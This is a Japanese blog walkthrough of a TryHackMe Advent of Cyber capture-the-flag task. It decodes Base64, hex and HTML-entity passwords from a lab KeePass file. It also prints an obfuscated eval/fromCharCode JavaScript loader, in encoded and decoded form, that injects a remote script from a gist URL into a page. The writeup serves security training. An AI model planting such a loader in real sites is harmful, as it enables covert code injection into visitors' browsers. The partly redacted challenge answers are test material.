LoginSignup
0
0

More than 3 years have passed since last update.

[TryHackMe] Advent of Cyber 2, Day 22 - Walkthrough -

Last updated at Posted at 2020-12-24

本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 22] Blue Teaming: Elf McEager becomes CyberElf

ストーリー

ここ数日、The Best Festival Companyでは奇妙なことが起こっています。エルフ・McEagerには、危険にさらされたエンドポイントを完全に調査する時間がなく、また、ワークステーションのイメージを再作成する時間もありませんでした。エルフ・McEagerは、バックアップシステムの一つである別のワークステーションにログインすることにしました。

エルフ・McEager はログインしてみますが、驚いたことに、パスワードマネージャーにログインできませんでした。マスターキーを受け入れていないのです。彼は、フォルダ名が奇妙な名前に変更されていることに気付きました。

タスク

パスワードマネージャにアクセスし、CyberChefを使用してパスワードマネージャ内の値をデコードする必要があります。

Day 22 - #1.

What is the password to the KeePass database?

C:\Users\Administrator\Desktop上のフォルダ名に注目します。

Desktop.png

dGhlZ3JpbmNod2FzaGVyZQ==

Pythonによるデコード

末尾の==からBASE64にてエンコードされていることが想像できます。Pythonでデコードを試みます。

Python 3.7.4 (default, Aug 13 2019, 15:17:50) 
[Clang 4.0.1 (tags/RELEASE_401/final)] :: Anaconda, Inc. on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> base64.b64decode(strings).decode()
theg{BLOCKED}here

別解、codecs()を使用します。

>>> import codecs
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> codecs.decode(strings, "base64")
b'theg{BLOCKED}here'

Day 22 - #2.

What is the encoding method listed as the 'Matching ops'?

Day 22 - #1にて解答済みです。どんな処理をすればよいかわからない場合はCyberChefMagicを使用することで特定できます。
Magic.png

Day 22 - #3.

What is the decoded password value of the Elf Server?

KeePassを起動します。このときのMaster PasswordDay 22 - #1の解答です。
KeePass.png

Elf Serverのパスワードについて確認します。
Elf.png

736e30774d346e21

数字とアルファベットの表記から「16進数(HEX)」表記であることが推測できます。

CyberChefによるデコード

HEX.png

Pythonによるデコード

>>> import codecs
>>> strings = "736e30774d346e21"
>>> codecs.decode(strings, "hex")
b'sn{BLOCKED}n!'

Day 22 - #4.

What is the decoded password value for ElfMail?

ElfMailのパスワードについて確認します。
ElfMail.png

ic3Skating!

&#10進数コード」の表記から「数値文字参照(Character References)」表記であることが推測出来ます。

CyberChefによるデコード

UTF8.png

Pythonによるデコード

>>> import html
>>> strings = "ic3Skating!"
>>> print(html.unescape(strings))
ic{BLOCKED}g!

Day 22 - #5.

Decode the last encoded value. What is the flag?

Elf Security Systemのパスワードが保存されていることが確認できます。
Elf Security System.png

eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));

eval()を使い、文字列をfromCharCode()にて処理していることが読み取れます。
文字列は10進数Comma文字で区切っています。

CyberChefによるデコード

読み取った特徴を踏まえ、CyberChefFrom Charcodeを使用して変換します。
charcode.png

変換した結果、新たなfromCharCode()ブロックが2つ確認できます。

String.fromCharCode(104, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 104, 101, 97, 118, 101, 110, 114, 97, 105, 122, 97, 47);
String.fromCharCode(49, 49, 100, 51, 50, 49, 50, 52, 52, 99, 52, 100, 54, 54, 55, 52, 52, 54, 100, 98, 102, 100, 57, 97, 51, 50, 57, 56, 97, 56, 56, 98, 56))

そこで、From Charcodeによる変換を2回行います。
charcode2.png

Unmaskit Decoderによるデコード

別解、Sucuriが提供しているUnmaskit Decoderを使用します。

Unmaskit Decoder.png

eval('var somestring = document.createElement(\'script\'); somestring.type = \'text/javascript\'; somestring.async = true;somestring.src = 'hhttps://gist.github.com/heavenraiza/';   var alls = document.getElementsByTagName(\'script\'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf('11d321244c4d667446dbfd9a3298a88b8') > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName(\"head\")[0].appendChild(somestring); }');

cyberelfリポジトリへ誘導しています。

誘導先にて、フラグが表示されていることが確認できました。
github.png

これにて、22日目のミッションが終了です。

参考情報

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0